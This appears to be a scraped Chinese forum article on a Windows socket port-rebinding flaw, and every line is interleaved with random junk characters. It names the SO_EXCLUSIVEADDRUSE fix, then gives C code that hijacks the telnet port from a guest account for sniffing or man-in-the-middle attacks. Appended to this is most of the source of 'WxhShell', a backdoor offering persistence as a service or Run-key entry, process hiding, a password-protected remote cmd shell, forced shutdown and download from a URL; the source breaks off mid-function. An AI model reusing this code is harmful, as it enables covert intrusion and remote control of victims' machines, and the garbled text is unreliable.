在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
4Eh 2sI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
o, e y. |r*btyOJk saddr.sin_family = AF_INET;
FT'_{e!M 6v7H?4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
X^mvsY (.TkvUj` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-#srn1A> 1(6B|w5+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9 ![oJ3 vUD,%@k9 这意味着什么?意味着可以进行如下的攻击:
#;GIvfW 7n W*3( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uJVu:E.#1 EacqQFErl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'^pA%I2D |}zv CD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.`4N#EjP _%#Q
\D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
WbZ{)
i ;!U`GN,tH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z^=.05jB O H~X~n-Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
udxLHs &Npv~Iy 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yIC.JmD* R=ddQ:W6g #include
P~nI6/r1 #include
]eA< #include
(XYYbP #include
@a,X{0 DWORD WINAPI ClientThread(LPVOID lpParam);
8`E9a int main()
nnLE dJ}n {
Am3^3> WORD wVersionRequested;
Iw(2D(se DWORD ret;
#W`>vd} WSADATA wsaData;
!Irmc*;QE BOOL val;
9hG)9X4 SOCKADDR_IN saddr;
Sqj'2<~W SOCKADDR_IN scaddr;
w$ Lpuun{ int err;
)yp+!\ SOCKET s;
]|g{{PWH SOCKET sc;
Kl.xe&t@j int caddsize;
.Lz\/ OS HANDLE mt;
SrzlR) DWORD tid;
}Y\Ayl wVersionRequested = MAKEWORD( 2, 2 );
a x1 err = WSAStartup( wVersionRequested, &wsaData );
)2T?Z)"hO if ( err != 0 ) {
V~-<VM6 printf("error!WSAStartup failed!\n");
hY=#_r8 return -1;
.lrI|BH?z }
W,Q"?(+]B saddr.sin_family = AF_INET;
T-|SBNFw; &$uQ$]&H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\eD#s 9Mo(3M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'T@K$xL8 saddr.sin_port = htons(23);
\wR bhN if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
CU)'x
E {
!
7,rz1s73 printf("error!socket failed!\n");
Th,15H
DA return -1;
v
P8.{$ }
zp[Uh]-dMK val = TRUE;
`-!t 8BH //SO_REUSEADDR选项就是可以实现端口重绑定的
F`,XB[}2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'c[4-m3bg {
q%8%J'Fro printf("error!setsockopt failed!\n");
J<dr x_gc return -1;
-+4:}
sD }
($:s}_<>s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
dK|6p_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!J
")TP= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H
<1g Gy0zh|me if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3Gi#WV4$ {
q:N"mp<% ret=GetLastError();
u
)+;(Vd printf("error!bind failed!\n");
|0YDCMq( return -1;
8v)pPJr }
v,w/g| listen(s,2);
'J~{8w,. while(1)
C;2!c {
@$'k1f(u> caddsize = sizeof(scaddr);
?H8w/{J //接受连接请求
Dg~r%F sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gaBt;@?:Q if(sc!=INVALID_SOCKET)
[/uqH {
tWL3F?wd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\/,54c2 if(mt==NULL)
Q" BIk
= {
8
PI>Q printf("Thread Creat Failed!\n");
kQ4-W9u break;
j|3p.Cy }
9`4mvK/@ }
H@0i}!U64 CloseHandle(mt);
2\&uO }
W6f?/{Oo8 closesocket(s);
9?<WRM3a> WSACleanup();
=N,9#o6^ return 0;
mKY}+21!Q }
vfAR^*7e DWORD WINAPI ClientThread(LPVOID lpParam)
>0kn&pe7#T {
y7aBF13Kl SOCKET ss = (SOCKET)lpParam;
HHa
XK SOCKET sc;
1(0LX^% unsigned char buf[4096];
TJ9JIxnS SOCKADDR_IN saddr;
I3uS?c long num;
X%Jq9_
DWORD val;
:-HVK^$% DWORD ret;
i-Ck:-J //如果是隐藏端口应用的话,可以在此处加一些判断
4Z>KrFO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
--E_s/ saddr.sin_family = AF_INET;
1~\YJEsb}d saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Up?w>ly saddr.sin_port = htons(23);
d5&avL\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UZsL0 {
[pi!+k printf("error!socket failed!\n");
X3zkUMk return -1;
''P.~~ezr5 }
&Ji!*~sE val = 100;
9`kxyh</ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~i 'Ib_%h {
g[<K FVlG ret = GetLastError();
CDcZ6.f return -1;
c!l=09a~a+ }
}$5S @, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t_1(Ex {
.s-X%%e\ ret = GetLastError();
gj{2"tE return -1;
c?oNKqPzg }
|fX
@o0H if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6$-Ex {
t-_~jZ< printf("error!socket connect failed!\n");
0~{jgN~ closesocket(sc);
3u +A/ closesocket(ss);
cp.c$ return -1;
iev02 8M }
\k\ {S2SU while(1)
Z{"/Ae5] {
=\]5C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
A*tG[) //如果是嗅探内容的话,可以再此处进行内容分析和记录
%9ef[,WT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KEF"`VTB@ num = recv(ss,buf,4096,0);
KSsv~!3Yf if(num>0)
jA@js v send(sc,buf,num,0);
C}grY5: else if(num==0)
ST'M<G%4E break;
`j+aAxJ=\ num = recv(sc,buf,4096,0);
Wt=QCutt if(num>0)
`8^4, send(ss,buf,num,0);
tow0/Jt else if(num==0)
nojJGeW% break;
4D(5WJ& }
!p$z8~ closesocket(ss);
\q9wo*A closesocket(sc);
<u>l#weG, return 0 ;
i>Wsc? }
?K9&ye_rgw B:5\+_a! ;{mKt%# ==========================================================
HD^ Ou5YB ,z A9* 下边附上一个代码,,WXhSHELL
h!l&S2)D` ;"/[gFD5u ==========================================================
C+\c(M a UYJMW S= #include "stdafx.h"
u0^Vy#@_ )`;Q]?D #include <stdio.h>
c^ $_epc* #include <string.h>
LLE\ ;,bv #include <windows.h>
dO/iL7K& #include <winsock2.h>
rH@{[~p #include <winsvc.h>
m~`d<RM/ #include <urlmon.h>
D; xRgHn N]gJ(g #pragma comment (lib, "Ws2_32.lib")
hgt@Mb #pragma comment (lib, "urlmon.lib")
/SDN7M]m! -Zs.4@GH #define MAX_USER 100 // 最大客户端连接数
h RK& #define BUF_SOCK 200 // sock buffer
g}(yq:D #define KEY_BUFF 255 // 输入 buffer
V`*N2ztSL AAbI+L0m{ #define REBOOT 0 // 重启
(`C#Tq #define SHUTDOWN 1 // 关机
PuyJ:#a 88%7 #define DEF_PORT 5000 // 监听端口
|C;8GSw>|F uL!QeY>k\ #define REG_LEN 16 // 注册表键长度
oSd TQ$U!D #define SVC_LEN 80 // NT服务名长度
6&jW.G8/ y.h2hv]Bc // 从dll定义API
6/u]r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
) -yJKmV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9g%1^$R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]Rah,4?9f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Udj!y$? fC6zDTis8A // wxhshell配置信息
z?T;2/_7 struct WSCFG {
%t& int ws_port; // 监听端口
k@[\C`P char ws_passstr[REG_LEN]; // 口令
n=t50/jV3= int ws_autoins; // 安装标记, 1=yes 0=no
QH z3 char ws_regname[REG_LEN]; // 注册表键名
[4p~iGC char ws_svcname[REG_LEN]; // 服务名
~SKV% char ws_svcdisp[SVC_LEN]; // 服务显示名
.`./MRC char ws_svcdesc[SVC_LEN]; // 服务描述信息
7 'T3Wc char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(i..7B: int ws_downexe; // 下载执行标记, 1=yes 0=no
ylFoYROO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}STTDq4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>4 n\ 9i9'Rd`g };
5UWj#|t -"Mq<XO&51 // default Wxhshell configuration
].AAHu5 struct WSCFG wscfg={DEF_PORT,
c?ZM<Y" "xuhuanlingzhe",
AkMP)\Q 1,
:#_Ne?\a@ "Wxhshell",
il8n
K "Wxhshell",
q!L@9&KAQ "WxhShell Service",
<Zb~tYp "Wrsky Windows CmdShell Service",
pl#2JA8 "Please Input Your Password: ",
!{u`}:\ 1,
l\f
/(&, "
http://www.wrsky.com/wxhshell.exe",
Nuc;Y "Wxhshell.exe"
@k+&89@G };
+Tf4SJ q4y P\B // 消息定义模块
*'?aXS -'r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bC a%$ char *msg_ws_prompt="\n\r? for help\n\r#>";
$<NrJgQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2Dc2uU@`r char *msg_ws_ext="\n\rExit.";
_?VMSu char *msg_ws_end="\n\rQuit.";
g:dtfa/] char *msg_ws_boot="\n\rReboot...";
'dXGd.V7u char *msg_ws_poff="\n\rShutdown...";
K_SURTys char *msg_ws_down="\n\rSave to ";
3@}rO~ }Gvu!a#R char *msg_ws_err="\n\rErr!";
qdW"g$fW char *msg_ws_ok="\n\rOK!";
\v\f'eQ {[I]pm~n char ExeFile[MAX_PATH];
ey/{Z<D int nUser = 0;
<cof HANDLE handles[MAX_USER];
$O'IbA int OsIsNt;
;!~&-I0l Am'%tw
~ SERVICE_STATUS serviceStatus;
M6nQ17\{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
b((>?=hh Jn :h;|9w // 函数声明
ax)>rP,V int Install(void);
Q9G\T:^ury int Uninstall(void);
=Ch^;Wyt int DownloadFile(char *sURL, SOCKET wsh);
|Eyn0\OA int Boot(int flag);
uM"_3je{W2 void HideProc(void);
DXI{ jalL int GetOsVer(void);
&~Hx!]uc int Wxhshell(SOCKET wsl);
pie8 3Wy> void TalkWithClient(void *cs);
!"d"3coQ? int CmdShell(SOCKET sock);
SH1S_EQ< int StartFromService(void);
FF5|qCV/z int StartWxhshell(LPSTR lpCmdLine);
IGnP#@`5] 5 eLm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n^lr7(!6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
luWr.<1 urbSprdF // 数据结构和表定义
W9D~:>^YP SERVICE_TABLE_ENTRY DispatchTable[] =
<5 )F9.$ {
{D$5M/$ {wscfg.ws_svcname, NTServiceMain},
/:Q {NULL, NULL}
;:PxWm|_ };
Of}dsav
N^Hj%5 // 自我安装
jk\z-hd int Install(void)
'.B5CQ {
fxQ4kiI char svExeFile[MAX_PATH];
`GU Gy. b HKEY key;
-HU4Ow strcpy(svExeFile,ExeFile);
pN4gHi= iSP}kM} // 如果是win9x系统,修改注册表设为自启动
;Yve m if(!OsIsNt) {
g\2/Ia+/@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X,A]<$ACu% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%,UTFuM` RegCloseKey(key);
j 06mky if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V(5*Dn84 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}?)U`zF)7} RegCloseKey(key);
PcQ\o>0") return 0;
fW
w+'xF! }
l`<1Y| }
;#?G2AAv }
hiKyU!)Hv else {
207FD fZiwuq!_ // 如果是NT以上系统,安装为系统服务
eH]9"^>
o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
at+Nd K if (schSCManager!=0)
5Q/jI$^h0Z {
GIvl| SC_HANDLE schService = CreateService
$
~Ks!8'P (
Bra}HjHO schSCManager,
-#Ys67,4N wscfg.ws_svcname,
_)S['[ wscfg.ws_svcdisp,
()Q#@?c~ SERVICE_ALL_ACCESS,
%M,^)lRP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6z5wFzJv?q SERVICE_AUTO_START,
F};T<# SERVICE_ERROR_NORMAL,
az1#:Go svExeFile,
K(,MtY* NULL,
^o87qr0g] NULL,
8#nAs\^ NULL,
r"9hpZH NULL,
I {%Y0S NULL
4YSVy2x );
Lz&FywF-l if (schService!=0)
D>-srzw {
!l-Q.=yw CloseServiceHandle(schService);
YB1Jv[ CloseServiceHandle(schSCManager);
,MjlA{0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c'INmc
I| strcat(svExeFile,wscfg.ws_svcname);
m}(M{^\| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
DkEf;P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0|DyYu RegCloseKey(key);
qjsEyro$- return 0;
" ?Ux\)* }
y(wb?86#W5 }
_;,"!'R`f CloseServiceHandle(schSCManager);
xpJ=yxO }
m
al?3*x/ }
I|l5e2j 9vP#/ -g return 1;
tlM >=s'T }
TkR#Kzv380 zZW5M^z8 // 自我卸载
0g2rajS int Uninstall(void)
Pm]lr|Q{I {
&
}7+.^ HKEY key;
Ss3~X90!*B 3Rhoul[S if(!OsIsNt) {
%ol\ sO| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[Z2{S-)UM RegDeleteValue(key,wscfg.ws_regname);
H)h$@14xu RegCloseKey(key);
I7\T :Q[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qe5;Pq !G RegDeleteValue(key,wscfg.ws_regname);
_^g4/G#13c RegCloseKey(key);
cw,|,uXq
6 return 0;
]K'OH& }
0RjFa;j }
o!lKP> }
r>}z|I' else {
5,pEJ>dDD3 pD!j#suMA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<=Saf. if (schSCManager!=0)
'jXJ!GFw {
Z2 Vri SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`An p;el if (schService!=0)
!+z&] S3s {
D~FIv if(DeleteService(schService)!=0) {
"=ki_1/P CloseServiceHandle(schService);
QUm[7<" CloseServiceHandle(schSCManager);
^Kl*} return 0;
j/jFS]iC }
<J>k%,:B CloseServiceHandle(schService);
d)3jkHYEjj }
!ALq?u CloseServiceHandle(schSCManager);
C[';B)a }
,vo]WIQ\: }
bk1.H@8 yFn~rv|&G return 1;
ILx4[m7 }
DS9-i2 Y_6v@SiO // 从指定url下载文件
hE
E1i int DownloadFile(char *sURL, SOCKET wsh)
oJ tmd} {
;<*%BtD? HRESULT hr;
jrxq558 char seps[]= "/";
wA"d?x char *token;
v$xurj:v#i char *file;
>X*G6p char myURL[MAX_PATH];
505ejO| char myFILE[MAX_PATH];
Yhz Dw8f iUFG!,+d strcpy(myURL,sURL);
d+vAm3.Dg token=strtok(myURL,seps);
xSm~V3bc while(token!=NULL)
&JYkh > {
N{}8Zh4op file=token;
(J?_~(,`" token=strtok(NULL,seps);
/bn$@Cy@ }
F2MC) 4\ |/S@. GetCurrentDirectory(MAX_PATH,myFILE);
z7z9lDS strcat(myFILE, "\\");
%QQ 2u$ strcat(myFILE, file);
>4q6 send(wsh,myFILE,strlen(myFILE),0);
`EfFyhG$ send(wsh,"...",3,0);
u9(42jj[$U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'(SivD if(hr==S_OK)
yeMe2Zx return 0;
`\P1Ff@z0 else
bPif"dhHe return 1;
?D,j!Hy fq4uiFi< }
L&rtN@5; DAg* // 系统电源模块
orYZ<,u int Boot(int flag)
U<r!G;^` {
=.OzpV)=V HANDLE hToken;
K}MlC}oIt TOKEN_PRIVILEGES tkp;
|3~]XN- Y
DW^N]G if(OsIsNt) {
%iME[| u& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:yE0DS<_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&*E! %57 tkp.PrivilegeCount = 1;
L7n G5i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(>Nwd^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'@
p464 if(flag==REBOOT) {
:xTm-L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(74y2U6 return 0;
V2xvuDHI }
?S9vYaA$ else {
a@Zolz_Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e2BC2K0 return 0;
f`*VNB` }
WgG$ r }
)#1!%aQ else {
I;1)a4Xc4R if(flag==REBOOT) {
2ga8 G4dU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Sk C.A? return 0;
b#"&]s- }
S>p0{:zM else {
s|:1z"q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
uL@%M8n return 0;
DF>tQ }
9ZG:2ncdJ }
lFduX D @ULWVS#t2 return 1;
r&Qa;-4Pl }
Q&+)Kp]A ?RIf0;G // win9x进程隐藏模块
h@'CmIZc void HideProc(void)
34[TM 3L]. {
7
, _b >]%$lSCW\D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)FmIL(vu if ( hKernel != NULL )
@H3x51PT(m {
kwqY~@W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ADVS}d!;] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
k4!_(X%8 FreeLibrary(hKernel);
V1GkX=H}, }
VXlAK( lzz;L
z return;
)v11j.D }
ms!|a_H7r ASrRMH[ // 获取操作系统版本
qJf\,7mi int GetOsVer(void)
h{H*k#> {
-'L~Y~'. OSVERSIONINFO winfo;
,Vo[mB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~)`\j GetVersionEx(&winfo);
@$ju Qm if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`u
R`O9)e return 1;
RHpjJZUV else
_%Ua8bR$ return 0;
OB\ZT @l }
lN8l71N^ 1
?Zw // 客户端句柄模块
kM1N4N7 int Wxhshell(SOCKET wsl)
Cz$q"U {
$-~"G,;F SOCKET wsh;
,nCvA%B! struct sockaddr_in client;
CWRB/WH: DWORD myID;
+Mhk<A[s tJn"$A^N while(nUser<MAX_USER)
"vQ%`
Q {
(9TSH3f? int nSize=sizeof(client);
Z
h9D^I wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
LH=^3Gw if(wsh==INVALID_SOCKET) return 1;
diVg|Z3T H?a $o( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1E'PSq if(handles[nUser]==0)
,!GoFu closesocket(wsh);
2K
o]Q_,~ else
{&^PDa|nD nUser++;
4zt:3bWU }
9Li&0E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;+|Z5+7!6 XGbpH< return 0;
'Ha> >2M }
vdQ#CG$/ dKC*QHU // 关闭 socket
7:Rt) EE2 void CloseIt(SOCKET wsh)
U<q`f- {
&Td)2Wt closesocket(wsh);
c3ru4o*K nUser--;
~e]B[>PT ExitThread(0);
}&v-<qC^ }
HwZl"!;Mry &WL::gy_S // 客户端请求句柄
^k$Bx_{ void TalkWithClient(void *cs)
O6 s3#iu {
rIYO(}Fl HS
]c~ SOCKET wsh=(SOCKET)cs;
/':64#' char pwd[SVC_LEN];
/'E[03I~ char cmd[KEY_BUFF];
oWLP|c~Ap char chr[1];
#gT"G18/! int i,j;
NWPT89@ l /{jt]8/;7 while (nUser < MAX_USER) {
yzT1Zg_ER 2kDv
(". if(wscfg.ws_passstr) {
-K(d]-yv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Yb_HvP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D)DD 6 //ZeroMemory(pwd,KEY_BUFF);
S@S4<R1{\ i=0;
{X{S[(| while(i<SVC_LEN) {
/Z!$bD 5/i/.
0?n // 设置超时
0bc>yZ\R fd_set FdRead;
}o7- 3!{L! struct timeval TimeOut;
O"EL3$9V FD_ZERO(&FdRead);
#1\`!7TO3 FD_SET(wsh,&FdRead);
:4Nv6X61 TimeOut.tv_sec=8;
L(u@%.S TimeOut.tv_usec=0;
IGVq`Mxj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1cMLl6Bp> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=EM<LjO oYA"8ei = if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
g\8B; pwd
=chr[0]; 5}Ge
if(chr[0]==0xd || chr[0]==0xa) { ^ <`SUBI
pwd=0; vV$^`WY4
break; OHj>ufwVq
} ZI qXkD
i++; *{j;LA.BR#
} 67&Q<`V1*q
DNqV]N_W
// 如果是非法用户,关闭 socket )V>zXy}Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y7CO%SA
} 4F0w+wJD
7UGc2J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aG~zMO_)]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?I?~BWu
D|m0Vj b
while(1) { qC"`i}7
6^V( C;5!
ZeroMemory(cmd,KEY_BUFF); =uNc\a (
%mU$]^Tw(
// 自动支持客户端 telnet标准 1@ &J"*
j=0; dmv0hof
while(j<KEY_BUFF) { Lb<IEy77\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s-'~t#h
cmd[j]=chr[0]; IDw`k[k
if(chr[0]==0xa || chr[0]==0xd) { `v)'(R7){
cmd[j]=0; &8Vh3QLEx
break; R@NFpiw
} Z:>3AJuS_
j++; ~MC5rOA
}
59SL
mj
Bhx.q,X
// 下载文件 mLkp*?sfC
if(strstr(cmd,"http://")) { 'jE/Tre^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (jhi<eV
if(DownloadFile(cmd,wsh)) KWD{_h{ R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "nfi:A1
else ,X:3w3nr^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x7^VU5w#
} 517wduj
else { r#1W$~?>
X(Mpg[,N"
switch(cmd[0]) { w/*#TDR
"M/) LXn:0
// 帮助 Q(aNa!
case '?': { /F"eqMN
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tN4&#YK<
break; Sw; kUJ
} Fq <JxamR
// 安装 I ~YV&12
case 'i': { i M
MKA0JM
if(Install()) j7a}<\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _unoDoB
else cpw=2vnD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8au Gz
,"
break; mOHOv61
} pCo3%(
// 卸载 6'e^np
case 'r': { /AOGn?Z3
if(Uninstall()) <A|z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6LCR ;~
]
else <8?
F\x@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &nVekE:!
break; D4y!l~_,%M
} +HWFoK
// 显示 wxhshell 所在路径 FNOsw\Bo
case 'p': { 5bXpj86mY
char svExeFile[MAX_PATH]; {g`!2"
strcpy(svExeFile,"\n\r"); +]-'{%-zK
strcat(svExeFile,ExeFile); ik)u/r DW
send(wsh,svExeFile,strlen(svExeFile),0); [N~-9
break; m{Uh{G$
} :BV $3]y
// 重启
nVgvn2N/
case 'b': { ZnAQO3%y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d/Wp>A@dob
if(Boot(REBOOT)) GhcH"D%-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@<f*
else { 5%QYe]D
closesocket(wsh); 2^Im~p~ByE
ExitThread(0); aZ{ l6
} [PiMu,O[v
break; SEg{Gso9b
} we!w5./Xm
// 关机 o$% KbfXO]
case 'd': { TNN@G~@cm
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AX6:*aZB
if(Boot(SHUTDOWN)) ecH7")
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kf(Px%G6K
else { Tmu2G/yi
closesocket(wsh); G,P
k3>I'
ExitThread(0); *\}$,/m['
} 6|n3Q$p
break; sGNHA(;
} vRW;{,d
// 获取shell QQ{*j7i)
case 's': { {g1R?W\LZ
CmdShell(wsh); :(/1,]bF
closesocket(wsh); L>WxAeyu1K
ExitThread(0); MNTVG&h
break; 33eOM(`D[
} *sB'D+-/
// 退出 +lFBH(o]X
case 'x': { cp~6\F;c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HA}q.L]#
CloseIt(wsh); ?z-nY,'^uq
break; W=+AU!%
} XUR#|
// 离开 . uGne
case 'q': { ;ZcwgsxTM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4L`,G:J,;
closesocket(wsh); :2NV;7Wke6
WSACleanup(); EW4a@
exit(1); IUh9skW5
break; ^2%)Nq; O
} 9{S$%D
} }uaFmXy3
} e?07o!7[;
.`J*l=u$
// 提示信息 5\}Y=Pa
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=WB6~8)
} ?5lO1(
} \SwqBw
YKayaI\*
return; ?*kB>U9e
} Er$&}9G+-
!nsr( 7X2
// shell模块句柄 32anmVnf
int CmdShell(SOCKET sock) /4+zT?f
{ I~p*~mLh'
STARTUPINFO si; Lr\(7r
ZeroMemory(&si,sizeof(si)); )w&|VvM )L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^e =xEZD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q%f90
PROCESS_INFORMATION ProcessInfo; 9h-S,q!
char cmdline[]="cmd"; :nqDX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /RhM6N
return 0; F/j ; q
} qQo*:3/];
yU7XX+cB7
// 自身启动模式 ND=JpVkvZ?
int StartFromService(void) F &5iA\
{ j1+I_
typedef struct XS^du{ai
{ V8o,
e
DWORD ExitStatus; {IBbN05 ;
DWORD PebBaseAddress; 5RO6YxQ
